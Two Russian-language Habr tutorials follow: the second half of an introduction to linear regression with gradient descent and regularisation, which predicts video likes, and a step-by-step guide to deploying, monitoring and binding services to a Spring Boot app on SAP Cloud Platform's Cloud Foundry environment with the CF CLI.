Идея за линейной регрессией такова. Есть у нас N ситуаций, и каждой пусть соответствует число – ответ, который мы хотим знать. Число чего угодно может быть – лайков, долларов, секунд – система не дискриминирует.
И пусть из каждой ситуации мы можем каким-то алгоритмом выдёргивать признаки – любые свойства, которые можно описать каким-то числом. Или булевой переменной – то есть, числом 1 или 0. Такие признаки в литературе ещё называются фичами.
И вот, если дать компьютеру много пар типа (`признаки`, `ответ`) – то он будет искать числа - веса. На каждый признак по числу – чтобы если для примеров просуммировать значения всех их признаков, помноженных каждый на своё число-вес, получилось бы в среднем как можно ближе к ответу. *Говоря технически, алгоритм минимизирует сумму квадратов разностей ответов и скалярных произведений соответствующих векторов признаков на один общий вектор весов.*
Предположим, что у нас веса уже есть – напишем функцию predict, которая даст нам ответ, который мы будем тогда ожидать.
*Возьмите на заметку - defaultdict из того же модуля collections здесь уж очень хорош. Работает он как обычный словарь – но если ключа в нём нет, он возвращает значение по умолчанию. Как, например, 0 здесь. Про ошибки вроде KeyError можно вообще забыть!*
Но весов у нас нет. Как их будем добывать?
Делается это методом *градиентного спуска* – тут тоже просто. Главная идея – смотреть, в какую сторону надо менять вектор весов, чтобы эта сумма квадратов уменьшилась – и просто менять его туда, раз за разом. Если у нас есть функция – f(x) некий, то мы от x отнимаем градиент от f по x, помноженный на какое-нибудь постоянное число – большое, если мы хотим быстро, и маленькое, если точно. Градиент – это как производная функции, скорость её изменения - только вместо одного числа, это несколько чисел. Это потому, что весов несколько. Если был бы один вес, мы бы смотрели на производную.
А чтобы не смотреть на все примеры каждый раз, когда мы хотим посчитать шаг спуска (медленно!), был придуман ещё один хитрый трюк. Вместо того, чтобы обновлять наши числа-веса, используя все примеры за раз – мы можем каждый раз брать по одному, или по совсем немного примеров – и обновлять на них. Это *стохастический градиентный спуск*, и работает он тоже неплохо.
Так вот, какой же градиент у функции, которую мы хотим минимизировать, для одного примера? Так уж получилось, что это просто разница между нашим теперешним предсказанием и ответом, только помноженная на значение каждого признака.
Для первого признака, (`предсказание` – `ответ`) \* `первый признак`, для второго (`предсказание` – `ответ`) \* `второй`, и так далее. Считать наш градиент несложно, и осуществлять по нему спуск тоже.
Давайте такой напишем.
Мы добавили функцию train - пять строчек кода. Для каждого примера двигаем веса, чтобы квадрат разницы был немного поменьше. И всё - можно тестить.
4. И что это только что было?
-----------------------------
Хорошо. У нас есть... что-то. Оно выдаёт какие-то числа, даже. Это очень хорошо – но ведь это далеко не результат. Давайте рассмотрим, куда стоит копать дальше.
Во-первых, не совсем понятно, как мы будем считать, насколько этот алгоритм хорош. Давайте введём среднюю ошибку, как нашу главную метрику.
Во-вторых, мы даём нашему алгоритму все данные, а потом проверяем его на них же. В машинном обучении это не самая лучшая идея. Сами посудите - мы хотим, чтобы алгоритм хорошо справлялся в общем случае. Если ему дать все ответы, он просто их заучит – и совершенно не факт, что будет разбираться в общем случае - с теми примерами, где ответов он не видел. Как с билетами на экзамене – если студенту дать ответы на все вопросы, то ответить он правильно может – но не факт, что материал он понял.
Для этого обычно примеры делятся на три набора: *train*, *validation* и *test*.
*Train* – это тренировочный набор. На нём мы наш алгоритм тренируем – учим.
*Validation* (или *dev*) – набор, который мы кормим нашему алгоритму после тренировки. Как экзамен – смотря на среднюю ошибку на нём, мы смотрим, как хорошо программа разбирает случаи, конкретно которых она не видела. Проверять вместе с этим на тренировочном наборе (те случаи, которые она видела) - это тоже хорошо. Обычно смотрят на эти два числа – по мере тренировки мы будем ожидать, что оба будут падать, и *train* будет немного ниже *dev*.
*Test* – набор, который мы используем для финальной проверки. По мере того, как мы пишем алгоритм, у нас появляется много параметров, которые можно менять – размер шага в градиентном спуске, количество разных признаков, и много других вещей, о которых мы не упомянули. (Но поскольку имя “параметры” уже занято весами (в некоторых терминологиях) – эти параметры мы называем *гипер*параметрами.)
Меняя гиперпараметры, мы хотим, чтобы ошибка на нашем *dev*-наборе стала как можно ниже. Но делая это, легко можно начать подгонять под ответ – если по какой-то случайности с шагом 0.01301 ошибка будет на самую малость ниже, чем с шагом 0.013, то не факт что это мастерское оттачивание гиперпараметров помогло – тут просто могла быть удача, на которую в какой-нибудь научной публикации полагаться не стоит. Поэтому во время разработки обычно берётся третий набор, и даётся священная клятва этот набор особо часто не тестить – а когда приходит время тестить, не менять гиперпараметры по итогам результатов.
В игрушечной программе, такой как наша, *test*-набор не обязателен.
Давайте введём среднюю ошибку, как нашу метрику - и начнём отслеживать её в наших двух наборах.
Дальше будем смотреть на график ошибок. Вот такой.
*Здесь средняя ошибка на тренировочном наборе отрисована синим, а на проверочном – оранжевым.*
Консоль уже ничего интересного нам выводить не будет. В весах, конечно, можно уследить много чего интересного, но для этого нужно знать саму игру, и что какие вещи значат для игрока. А статья всё же по машинному обучению, а не по The Binding of Isaac.
Для сравнения посмотрим на среднюю ошибку, которую мы бы получили, просто выбирая среднее количество лайков каждый раз. *(Если мы ничего не знаем про видео, то этот способ даст нам наименьшую ошибку из всех.)* Чему она равна? Легко узнать.
906! А наш результат даёт где-то 850... Это очень даже неплохо. Вспоминаем – мы не показывали нашему алгоритму ни примера из этого набора. А ошибку он даёт меньше простого выбора среднего значения. Существуют, значит, эти закономерности – можно даже к игре как-то отследить. Давайте улучшим наш результат ещё немного.
Сначала вспомним самое начало статьи – там мы упоминали, что харизма самого комментатора наверняка оказывает самое сильное влияние на лайки. С чего б нам её не учесть? Добавим ещё один признак, и назовём его “INTERCEPT”. Он будет равен единице в каждом примере. Натренируем модель снова...
*Большой минус нашего представления на данный момент в том, что любое видео, в котором наш товарищ Northernlion не собрал ни одной вещи, будет всегда предсказываться, как набравшее ровно ноль лайков. Чтобы избежать подобных казусов, в машинном обучении к набору признаков часто принято добавлять ещё один, равный единице для всех примеров. Это позволяет учесть факторы, которые одинаково влияют на все случаи.*
Как видим, ошибка нашей модели упала. Лайков на 50 – это прогресс.
Давайте, кстати, заметим, что график наш выглядит немного странно. С обучением ошибка на нашем тренировочном наборе падает, а на проверочном... начинает подниматься.
Заметно, например, в примере снизу, где мы сделали пять тысяч шагов – в десять раз больше обычного.
Это типичный случай переобучения (также известного как overfitting). Оставив программу искать закономерности там, где их нет, мы обрекаем её на суеверия. В попытках объяснить то, что, кроме как удачей, ничем объяснить и нельзя, программа изобретает всё более и более дикие мнения о том, как устроен этот мир. Эти мнения, конечно, неплохо описывают тренировочный набор – но в общем случае совершенно неуместны. [Психологи подобное с голубями делали](https://ru.wikipedia.org/wiki/%D0%A1%D1%83%D0%B5%D0%B2%D0%B5%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D0%BE%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5#%D0%AD%D0%BA%D1%81%D0%BF%D0%B5%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D1%82%D1%8B).
Чтобы такого не происходило, надо сделать нашу программу менее чувствительной к мелким стимулам. Менее зоркой, более забывчивой. Для этого применяется такая техника как регуляризация.
Сама идея регуляризации проста. Наш традиционный градиентный спуск старается “тянуть” веса к тому, чтобы сумма квадратов ошибок была как можно меньше – нам надо просто сделать, чтобы веса “тянуло” ещё и к нулю.
*Математически говоря, наша функция потерь (т.е., мерка того, как неприятны нам эти веса) вместо суммы квадратов становится суммой квадратов плюс нормой нашего вектора весов (помноженного на постоянное число). Градиент меняется соответственно.*
Один из самых простых способов исполнения – после изменения множить вес на какое-то постоянное число, немного меньшее единицы. На выделенных строчках мы добавили этот функционал.
Ценой такого плавного графика может быть повышение в средней ошибке... здесь важно найти правильный `REGULARIZATION_FACTOR`.
Бывают и другие методы улучшения результатов.
Здесь мы предполагаем линейную зависимость – то есть, если найти вещь два раза, смотреть на результат станет ровно в два раза веселее, чем если бы мы её нашли один раз. (Или в два раза грустнее.) Оно так не всегда – поэтому используют так называемый биннинг. Вместо использования числа (счёта обьектов, например) как значение признака, возможные значения делят на несколько интервалов (например, 0, 1, 2-3, 4+) - и потом дают каждому интервалу по своему признаку, со значением либо 0, либо 1. Таким образом, наш признак “`вещь`: 3” превращается в “`вещь_0`:0, `вещь_1`:0, `вещь_2-3`:1, `вещь_4+`:0” - и подстраиваться уже можно, исходя из этого.
Можно добавить больше признаков. База данных большая, и в видео происходит очень много вещей, которые могли бы повлиять на наш рейтинг. Но чем больше признаков, тем больше комбинаций. Тем больше и примеров, на которых нужно учить – и тем больше шанс переучить слишком сильно.
Да и сама линейная регрессия – это самый простой алгоритм. Впереди ЛДА, Байесовские сети, нейронки... Машинное обучение – глубокое поле, и эта статья – простое болтание ногами на его мели. Посмотрите в воду – и быть может, глубина тоже позовёт вас.
Нырнёте?
*(Весь код из этой статьи можно найти* [*здесь*](https://gitlab.com/kryma/machine-learning-article-code)*.)* | https://habr.com/ru/post/536518/ | null | ru | null |
# Руководство по разработке облачных приложений с помощью SAP Cloud Platform и Cloud Foundry
Cloud Foundry (CF) является глобальным стандартом разработки облачных приложений, который позволяет разработчикам уделять больше внимания поставленным задачам и облегчает процесс развертывания и управления приложениями.
В этой статье мы расскажем о нескольких этапах, которые помогут работать с Cloud Foundry и нашей облачной платформой:
* Как получить доступ к пробной учетной записи SAP Cloud Platform для среды Cloud Foundry;
* Как улучшить приложение с помощью дополнительных функций, используя базовые концепции Cloud Foundry, включая сторонние службы;
* Как работать с пробной учетной записью в среде Cloud Foundry и с приложением через SAP Cloud Platform и интерфейс командной строки Cloud Foundry (CF CLI);
* Как использовать платформы приложений, такие как Spring и Spring Boot для эффективного создания приложений;
* Как осуществить контроль, масштабирование и обновление вашего приложения.
*(под катом очень много текста)*
Давайте разберём условный пример — что делать, если вам нужно быстро создать прототип сайта для e-commerce на SAP Cloud Platform для отдела продаж.
Первоначальные требования к сайту:
* У вас есть базовый интерфейс, который отображает список продуктов, доступных в каталогe.
* Когда вы выбираете продукт в интернет-магазине, вы получаете дополнительную информацию о нем.
Если у вас уже есть опыт работы над проектами, которые начинаются с PoC (Proof of Concept) и затем превращаются в продуктивное приложения, то вы понимаете, что также необходимо предусмотреть функции для мониторинга, управления приложением. Как только в отделе продаж увидят прототип, они сразу захотят выпустить его как можно скорее. Однако вам необходимо заранее подготовить приложение для эффективного DevOps перед запуском.
В этой статье мы расскажем в деталях о том, как локально запустить простое приложение SpringBoot, затем переместить его в среду Cloud Foundry на SAP Cloud Platform. После изучения приложения и проверки основных логов (журналов) и метрик мы рассмотрим, как улучшить приложение, используя возможности поддержки различных функций — к примеру, интеграции с сервисом Application Logging, а также про масштабирование приложения.
**Статья состоит из 7 разделов:
1. Подготовка среды разработки
2. Клонирование шаблона приложения из Github
3. Перемещение приложения в облако
4. Получение информации о приложении, запущенном в среде SAP Cloud Platform
5. Интеграция с сервисом Application Logging (логирование приложения)
6. Масштабирование приложения**
**Инструменты разработки**
Чтобы выполнить шаги, которые описаны в этой статье, вам потребуется установить следующие компоненты:
* Eclipse
* CF CLI
* Maven, Git, Java
**Используемые сервисы и приложения**
**Приложение «Product List»**
Это приложение, используемое в качестве примера, содержащее в себе список продуктов. Оно будет развиваться и улучшаться по ходу выполнения шагов, которые мы рассмотрим в данной статье. Приложение будет работать в среде Cloud Foundry облачной платформы SAP, с использованием различных служб, таких как PostgreSQL для хранения в облаке, Application Logging (логирование приложения) и т.д. Это приложение SpringBoot с простым пользовательским интерфейсом.
**PostgreSQL**
PostgreSQL — это система управления объектно-реляционными базами данных с открытым исходным кодом. Это база данных корпоративного класса, совместимая с ACID. Онa доступна для использования в качестве сторонней службы в среде Cloud Foundry.
**Сервис Application Logging**
Вы можете создавать, просматривать и анализировать логи приложений с помощью службы Application Logging. Она основана на платформе логирования с открытым исходным кодом Elasticsearch, Logstash, Kibana (Elastic Stack). Приложение требует некоторой подготовки, прежде чем его логи будут переданы в службу Application Logging.
**Сервис Application Autoscaler**
Служба Application Autoscaler используется для автоматического масштабирования приложения и для масштабирования связанных приложений, основанных на пользовательских политиках. Динамическое масштабирование экземпляра приложения гарантирует, что оно не столкнется с проблемами производительности при увеличении нагрузки и не выйдет из строя. Динамическое масштабирование также дает гарантию того, что ваше приложение использует оптимальные ресурсы.
**1. Подготовка среды разработки**
В первой части мы расскажем, как создать бесплатную пробную учетную запись в среде Cloud Foundry на базе SAP Cloud Platform и настроить локальную среду разработки. Также мы рассмотрим панель управления SAP Cloud Platform, которая является средством администрирования веб-приложений для облачной платформы.
**1) Начало работы с Cloud Foundry**
Если у вас еще нет пробной учетной записи в SAP Cloud Platform, то получите ее, следуя этой пошаговой инструкции.
В панели управления SAP Cloud Platform (SAP Cloud Platform cockpit) нажмите на вкладку «Home», чтобы перейти на домашнюю страничку SAP Cloud Platform. В открывшейся страничке нажмите на «Cloud Foundry Trial».
В появившемся окне выберете регион для вашей пробной учетной записи и нажмите «OK». В нашем случае был выбран регион «Europe (Frankfurt)».
После этого вы получите глобальный аккаунт, субаккаунт, организацию и пространство в выбранном регионе. Вы можете перейти к созданному пространству, нажав «Go to Space».
Теперь у вас есть ваш бесплатный пробный аккаунт в среде Cloud Foundry.
*Примечание:* Если у вас уже есть пробная учетная запись в среде Cloud Foundry, просто нажмите на «Cloud Foundry Trial» на домашней страничке SAP Cloud Platform, после чего вы сразу же попадете в пространство вашей пробной учетной записи в среде Cloud Foundry.
**2) Панель управления**
Ниже представлена упрощенная доменная модель, которая используется в среде Cloud Foundry. Получить более подробную информацию вы можете в [документации](https://help.sap.com/viewer/65de2977205c403bbc107264b8eccf4b/Cloud/en-US/8ed4a705efa0431b910056c0acdbf377.html).
Ниже — скриншот из «Панели управления» SAP Cloud Platform:
**3) Очистка аккаунта**
В пробной учетной записи Cloud Foundry Environment квота ограничена.
Если вы уже использовали квоту пробной учетной записи, вам необходимо очистить приложения и экземпляры служб, чтобы выполнить упражнения. Вы можете сделать это через панель управления:
* перейдите к списку приложений, запущенных в вашем пространстве, находящихся во вкладке «Applications», и удалите или остановите все запущенные приложения;
* перейдите в «Service Instances» во вкладке «Services» и удалите все служебные экземпляры.
Если вы только что создали пробную учетную запись, то этого делать не нужно.
**4) Настройка локальной среды разработки**
Для выполнения следующих шагов и работы с Cloud Foundry потребуются инструменты разработки, описанные ниже. Если какие-либо инструменты не установлены на вашем ПК, установите их.
Cloud Foundry Command Line Interface (CF CLI)
Скачайте и установите [Cloud Foundry CLI](https://github.com/cloudfoundry/cli), как описано [здесь](https://help.sap.com/viewer/65de2977205c403bbc107264b8eccf4b/Cloud/en-US/4ef907afb1254e8286882a2bdef0edf4.html).
Eclipse
— Для разработки потребуется Eclipse. В данном примере используется версия Neon. Скачать Eclipse IDE for Java EE Developers для версии Neon можно [здесь](https://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/neon3).
— Также вам потребуется установить плагин STS (Spring Tool Suite) для Eclipse.
Как установить плагин STS — описано [здесь](https://marketplace.eclipse.org/marketplace-client-intro?mpc_install=1794107).
Java
— Проверьте версию Java путем ввода команды java -version в командной строке. В данном примере используется версия 1.8.0\_152.
Maven
— Скачайте и установите Apache Maven.
— Если Maven установлен правильно, проверить его версию вы можете путем ввода команды mvn -version в командной строке. В данном примере используется версия Apache Maven 3.5.0.
Git
— Скачайте Git [здесь](https://git-scm.com/downloads) и установите его.
— Если Git установлен правильно, проверить его версию вы можете путем ввода команды git --version в командной строке. В данном примере используется версия 2.15.1.windows.2.
**2. Клонирование шаблона приложения из Github**В этом разделе мы расскажем, как клонировать целевую версию шаблона приложения «Product List», импортировать шаблон проекта в среду Eclipse, а затем собрать его.
Перейдите к источнику проекта в [github](https://github.com/SAP/cloud-cf-product-list-sample).
Нажмите на кнопку «Clone or download» и выберете «Download ZIP».
После того, как файл скачается, разархивируйте его в удобном для вас месте. В этом месте появится новая папка с названием
```
cloud-cf-product-list-sample
```
.
**1) Импорт шаблона проекта в Eclipse**Перейдите в Eclipse. Чтобы импортировать шаблона проекта как проект Maven в рабочее пространство Eclipse, в меню Eclipse выберите **File -> Import...**
В открывшемся окне «Import» выберете Maven -> Existing Maven Projects и нажмите «Next».
В окне «Import Maven Projects» нажмите «Browse», чтобы прописать путь к разархивированной папке с проектом «cloud-cf-product-list-sample-master», которую вы сохранили ранее, после этого нажмите «Finish».
Теперь проект импортирован в Eclipse, и вы видите ваш проект в окне «Project Explorer», как показано на скриншоте ниже.
**2) Сборка проекта в Eclipse с использованием Maven**
Перед тем, как собрать проект с помощью Maven, проверьте, используется ли в вашем Eclipse JRK. В том случае, если ваш Eclipse использует JRE вместо JRK, в процессе сборки вы можете получить ошибку об отсутствии компилятора: *"[ERROR] No compiler is provided in this environment. Perhaps you are running on a JRE rather than a JDK? ".*
Как настроить Eclipse для корректной сборки проекта — описано [здесь](http://learn-automation.com/maven-no-compiler-is-provided-in-this-environment-selenium/).
Теперь можно собрать проект в Eclipse. Для этого нажмите на проект правой кнопкой мыши в окне «Project Explorer» и в открывшемся контекстном меню выберете **Run As -> Maven build...**
В окне «Edit Configuration» введите clean install в поле «Goals» и нажмите «Run». После этого начнется сборка проекта.
Сборка должна закончиться без ошибок. В случае успешной сборки в консоли вы увидите сообщение об этом:
**3. Перемещение приложения в облако**
**1) Вход в аккаунт через CF CLI**
В этом упражнении вы узнаете, как загрузить приложение в вашу пробную учетную запись в среде Cloud Foundry платформы SAP Cloud Platform. Это можно сделать с помощью интерфейса командной строки Cloud Foundry (CF CLI).
Примечание для пользователей Windows: Откройте терминал (командную строку) на вашем компьютере. Для этого одновременно нажмите клавишу «Windows» и клавишу «R», а затем введите cmd в поле ввода и нажмите «OK».
Для начала вам нужно «сказать» вашему CF CLI, какой именно регион для среды Cloud Foundry вы собираетесь использовать. Для этого вам потребуется установить конечную точку API для облачного контроллера (Cloud Controller), находящегося в регионе, в котором создана ваша пробная учетная запись в среде Cloud Foundry. Сделать это можно при помощи команды
*cf api CLOUD\_FOUNDRY\_API\_ENDPOINT*.
Так как в данном примере используется аккаунт, имеющий конечную точку API в регионе EU10, вводим cf api [api.cf.eu10.hana.ondemand.com](https://api.cf.eu10.hana.ondemand.com). Если ваш аккаунт создан в том же регионе, используйте эту же конечную точку API.
*Примечание:* Вы можете найти все конечные точки API для разных регионов среды Cloud Foundry [в официальной документации SAP Cloud Platform](https://help.sap.com/viewer/65de2977205c403bbc107264b8eccf4b/Cloud/en-US/350356d1dc314d3199dca15bd2ab9b0e.html).
Теперь зайдите в вашу учетную запись, используя следующую команду:
*cf login*
После этого вам нужно будет ввести электронную почту и пароль, которые вы указывали при регистрации в SAP Cloud Platform.
*Email> enter your e-mail
Password> password for your user*
Далее вы должны выбрать организацию и пространство в Cloud Foundry, которые вы будете использовать для размещения приложения. Если в вашей учетной записи используется только одна организация и пространство, система автоматически выберет их для использования после входа в учетную запись, и они будут выведены в терминале под словом «OK».
*Примечание:* Если в вашей учетной записи в Cloud Foundry создано несколько организаций и пространств, вы можете выбрать именно те, которые вы собираетесь использовать. Для этого в терминале вам нужно будет ввести следующую команду:
*cf target -o ORGANIZATION -s SPACE*
Теперь вы готовы начать работу с вашей учетной записью в среде Cloud Foundry.
**2) Манифест приложения**
Перед загрузкой приложения в среду Cloud Foundry, вы можете либо прописать параметры приложения в командной строке для команды push, позволяющей запустить приложение в облаке, либо использовать файл дискриптора приложения (manifest.yml), установив в нем параметры для перемещения, что позволит не вводить их заново каждый раз перед использованием команды push. Дополнительную информацию о файле манифеста приложения вы можете найти в [документации о Cloud Foundry](https://docs.cloudfoundry.org/devguide/deploy-apps/manifest.html).
Перейдите в окно Project Explorer в Eclipse, где находится шаблон вашего приложения «Product List», и откройте файл **manifest.yml**.
*Примечание: В том случае, если этого файла нет в вашем проекте, создайте его. Для этого нажмите правой кнопкой мыши на приложение «Product List» и в появившемся меню выберете New -> File, а затем создайте файл с названием manifest.yml.*
После того, как вы откроете этот файл, вставьте в него следующий фрагмент:
*applications:
# Application
— name: product-list
instances: 1
memory: 896M
host: product-list-YOUR-BIRTHDATE-DAY-MONTH-YEAR
path: target/my-product-list-0.0.1-SNAPSHOT.jar
buildpack: [github.com/cloudfoundry/java-buildpack.git#v4.3](https://github.com/cloudfoundry/java-buildpack.git#v4.3)*
Отредактируйте вставленный фрагмент следующим образом:
* Строка path должна указывать на файл jar, созданный в целевой папке проекта в результате сборки с помощью Maven, и возможно, вам придется заменить имя флага на имя вашего jar-файла.
* host должен быть уникальным, поскольку пространство имен хостов разделяется со всеми приложениями в Cloud Foundry, поэтому добавьте в конце свою дату рождения — день, месяц и год.
Сохраните файл **manifest.yml** после редактирования.
**3) Перемещение**
В командной строке пропишете путь к месту нахождения вашего приложения SpringBoot, где вы только что создали файл manifest.yml, а затем введите следующую команду:
cf push
В данном примере приложение хранится в папке cloud-cf-product-list-sample-master, поэтому в терминале эта команда будет выглядеть следующим образом:
Данная команда запускает процесс развертывания приложения с помощью только что созданного файла manifest.yml. Первый шаг — загрузка двоичных файлов приложения в облако. На следующем этапе происходит так называемая постановка. Следующая фаза — фаза выпуска. Она сообщает Cloud Foundry, как запустить приложение. После успешного завершения команды вы можете открыть приложение в браузере: для этого скопируйте и вставьте URL-адрес, выведенный на консоли после завершения.
*Примечание:* В случае сбоя команды прочитайте сообщение об ошибке. Возможно, вы неверно указали параметры в manifest.yml. Или превышена квота в вашей пробной учетной записи. Если вы уже использовали ваш пробный аккаунт, вам необходимо удалить приложения и экземпляры служб, перед тем как продолжать упражнения. Вы можете сделать это через панель управления SAP Cloud Platform:
* перейдите к списку приложений, запущенных в вашем пространстве, находящихся во вкладке «Applications», и удалите или остановите все запущенные приложения;
* перейдите в «Service Instances» во вкладке «Services» и удалите все служебные экземпляры.
**3) Вызов приложения**
Теперь ваше приложение запущено в вашей учетной записи в среде Cloud Foundry платформы SAP Cloud Platform.
* Откройте браузер Chrome и перейдите в панель управления SAP Cloud Platform:
* [account.hanatrial.ondemand.com/cockpit#/home/trialhome](https://account.hanatrial.ondemand.com/cockpit#/home/trialhome)
* Вы должны попасть на домашнюю страничку SAP Cloud Platform. Если этого не произошло, нажмите на «Home»
* Нажмите на «Cloud Foundry Trial»
После этого вы попадете в свой глобальный аккаунт. Теперь нажмите на свой суббакаунт (обычно он имеет название «trial»).
Нажмите на вкладку «Spaces» в меню слева и выберете пространство, в котором находится ваше приложение (обычно это «dev»)
После этого вы окажетесь в пространстве вашей учетной записи, где вы можете найти запущенные приложения — в нашем случае это должно быть приложение «Product List», которое вы перенесли в облако. Нажмите на имя приложения, чтобы увидеть более подробную информацию о нем:
В открывшемся окне с информацией о приложении, вы найдёте путь к приложению (Application Routes). Нажмите на URL-адрес, чтобы запустить ваше приложение в браузере.
**4) Сервисы**
До сих пор мы использовали информацию о продуктах в памяти виртуальной машины Java, которая хороша для локального тестирования, быстрых циклов изменения. Однако этот способ имеет некоторые недостатки — если приложение будет перезапущено, то все изменения будут потеряны, если у вас будет больше, чем один запущенный процесс приложения, данные будут отличаться и т. д. Давайте добавим базу данных в качестве сторонней службы в облаке, чтобы избежать этих проблем. Это можно сделать без изменений в коде. Для этого нужно создать экземпляр службы, связать его с приложением и перезапустить приложение, чтобы оно начало использовать базу данных. Выполните следующие действия:
В терминале введите команду cf marketplace для отображения всех доступных вашему пользователю сервисов. Вы увидите список сервисов, краткое описание и информацию о планах обслуживания.
В данном примере мы будем использовать СУБД PostgreSQL. Чтобы увидеть информацию о конкретном сервисе, используйте команду cf marketplace -s SERVICE:
*cf marketplace -s postgresql*
Прежде чем приложение начнет использовать службу, необходимо создать экземпляр службы. Создайте экземпляр службы PostgreSQL с помощью команды cf create-service SERVICE PLAN SERVICE\_INSTANCE. Для этого введите в терминале:
*cf create-service postgresql v9.6-dev postgres*
Только что созданный postgresql сервис появится в списке сервисов, используемых в вашем пространстве. Чтобы убедиться в этом, введите следующую команду:
*cf services*
Последний шаг — связать экземпляр службы с вашим приложением. Для этого введите команду cf bind-service APP\_NAME SERVICE\_INSTANCE в CF CLI:
*cf bind-service product-list postgres*
Теперь нужно обновить приложение, чтобы подключение к PostgreSQL для него было сохранено и этот сервис использовался в дальнейшем. Для этого используйте команду cf restage APP\_NAME:
*cf restage product-list*
После этого введите команду cf services, и вы увидите, что теперь экземпляр службы PostgreSQL присоединен к приложению «Product List».
*Примечание:* Альтернативным способом присоединения сервисов к приложению является манифест приложения. Если вы используете manifest.yml для привязки сервисов, то после редактирования этого файла вам необходимо будет заново загрузить приложение в облако с помощью команды push, чтобы среда обновилась, и приложение смогло использовать эту услугу. Таким образом, для этого примера вам нужно добавить следующий фрагмент в файл манифеста, а затем снова загрузить приложение в облако:
*services:
— SERVICE\_INSTANCE\_NAME*
Обычно на этом этапе вам необходимо определить экземпляр службы и адаптировать код приложения. Информация о том, как получить доступ к экземпляру службы, теперь доступна в вашей прикладной среде как переменная среды VCAP\_SERVICES. В нашем случае среда SpringBoot обеспечивает механизм для обнаружения службы PostgreSQL и начала работать с ней, поэтому нет необходимости изменять код приложения.
**4. Получение информации о приложении, запущенном в среде SAP Cloud Platform**
Как получить дополнительную информацию о приложениях и службах, запущенных в пробной учетной записи в среде Cloud Foundry, и как получить основные метрики и логи.
Эту информацию можно узнать как с помощью CF CLI, так и через панель управления SAP Cloud Platform. Будут рассмотрены оба варианта.
*1) Подключение службы для просмотра логов*
Перед просмотром логов в Kibana, необходимо подключить службу application-logs к приложению. Kibana — веб-интерфейс для вывода индексированных Elasticsearch логов. Воспользуемся CLI и командами, которые мы использовали в предыдущем упражнении, для создания и привязки экземпляра службы к нашему приложению. Последовательно введите в терминале следующие команды:
*cf marketplace
cf create-service application-logs lite myapplogs
cf services
cf bind-service product-list myapplogs
cf restage product-list*
**2) Просмотр приложений, загруженных в облако**
Получим список приложений, запущенных в пространстве нашей учетной записи, с информацией о них. Это можно сделать через CF CLI и через панель управления.
*CF CLI*
Для отображения списка запущенных приложений, введите в терминале следующую команду:
*cf apps*
**Панель управления SAP Cloud Platform**
Перейдите в пространство, созданное в среде Cloud Foundry и выберете вкладку «Applications» в меню слева. Перед вами появится список приложений, находящихся в этом пространстве. В данном примере в пространстве находится только приложение «Product List».
**3) Просмотр сервисов**
Получим список созданных в вашем пространстве экземпляров служб и их привязок.
**CF CLI**
Для отображения списка созданных экземпляров служб и их привязок введите следующую команду:
*cf services*
**Панель управления SAP Cloud Platform**
В меню навигации, которое находится слева, есть вкладка «Services». Выберете ее, а затем нажмите на появившуюся вкладку «Service Instances», чтобы увидеть все экземпляры служб, созданные в вашем пространстве, а также основную информацию о них.
**4) Просмотр логов приложения**
**CF CLI**
Просмотреть логи приложения можно с помощью команды *cf logs APP\_NAM*E. Для этого введите в терминале:
*cf logs product-list*
*Примечание:* Вызовите приложение в случае, в том случае, если логи не отображаются после ввода данной команды.
Чтобы выйти из режима потока логов в реальном времени в консоли, нажмите Ctrl + C.
Для отображения последних логов приложения воспользуйтесь следующей командой:
*cf logs product-list --recent*
**Панель управления SAP Cloud Platform**
Чтобы просмотреть журналы приложений в панели управления, снова перейдите к списку приложений в вашем пространстве (вкладка «Applications») и выберете запущенное приложение (щелкните по имени приложения). Затем в меню слева выберете «Logs», после чего вы увидите таблицу с последними логами приложений. Если ваше приложение имеет более одного экземпляра приложения, вы можете выбрать, для какого экземпляра вы хотите просмотреть журналы.
**5) Отображение метрик**
Получим отображение состояния работоспособности и статуса приложения, включая информацию о потреблении процессора, памяти и диска.
**CF CLI**Для отображения метрик приложения, введите в терминале команду:
*cf app product-list*
**Панель управления SAP Cloud Platform**
Чтобы просмотреть метрики приложения в панели управления, перейдите к списку приложений в вашем пространстве (вкладка «Applications») и выберете запущенное приложение (щелкните по имени приложения). Затем в меню слева выберете «Overview». В открывшемся окне вы увидите аналогичную информацию о запущенном приложении.
**6) События**
Просмотрим последние события приложения (такие как создание, переустановка, обновление и т.д.) и получим информацию о том, когда они произошли и кто их вызвал.
**CF CLI**
Увидеть последние события приложения через терминал можно с помощью команды *cf events APP\_NAME*. Введите команду:
*cf events product-list*
**Панель управления SAP Cloud Platform**
Чтобы просмотреть события приложения в панели управления, перейдите к списку приложений в вашем пространстве (вкладка «Applications») и выберете запущенное приложение (щелкните по имени приложения). Затем в меню слева выберете «Events».
**7) Переменные среды**
**Доступ к переменным среды**
Увидеть список переменных среды можно с помощью *CF CLI*, путем ввода следующей команды в терминале:
*cf env product-list*
Также список переменных среды можно получить через панель управления SAP Cloud Platform. Для этого перейдите к списку приложений в вашем пространстве (вкладка «Applications») и выберете запущенное приложение (щелкните по имени приложения). Затем в меню слева выберете «Environment Variables».
В следующих примерах показано, как обращаться к переменным среды из приложения программным способом: примеры на Java, NodeJS и Ruby.
*System.getenv(«VCAP\_SERVICES»);
process.env.VCAP\_SERVICES
ENV['VCAP\_SERVICES']*
**Установка переменных среды**
Специфичные для среды приложения переменные могут быть заданы разработчиком приложения с помощью команды в CF CLI:
*cf set-env APP\_NAME VARIABLE\_NAME VARIABLE\_VALUE*
Или путём их описания в файле manifest.yml приложения следующим образом:\
*— …
env:
VARIABLE\_NAME\_1: VARIABLE\_VALUE\_1
VARIABLE\_NAME\_2: VARIABLE\_VALUE\_2*
Также задать переменные можно через панель управления SAP Cloud Platform. Для этого перейдите к списку приложений в вашем пространстве (вкладка «Applications») и выберете запущенное приложение (щелкните по имени приложения). Затем в меню слева выберете «User-Provided Variables» и в открывшемся окне нажмите «Add Variable».
**Системные переменные среды**
Полный список переменных среды, которые Cloud Foundry предоставляет контейнеру приложения, представлен ниже:
*o CF\_INSTANCE\_ADDR
o CF\_INSTANCE\_GUID
o CF\_INSTANCE\_INDEX
o CF\_INSTANCE\_IP
o CF\_INSTANCE\_INTERNAL\_IP
o CF\_INSTANCE\_PORT
o CF\_INSTANCE\_PORTS
o HOME
o MEMORY\_LIMIT
o PORT
o PWD
o TMPDIR
o USER
o VCAP\_APP\_HOST
o VCAP\_APP\_PORT
o VCAP\_APPLICATION
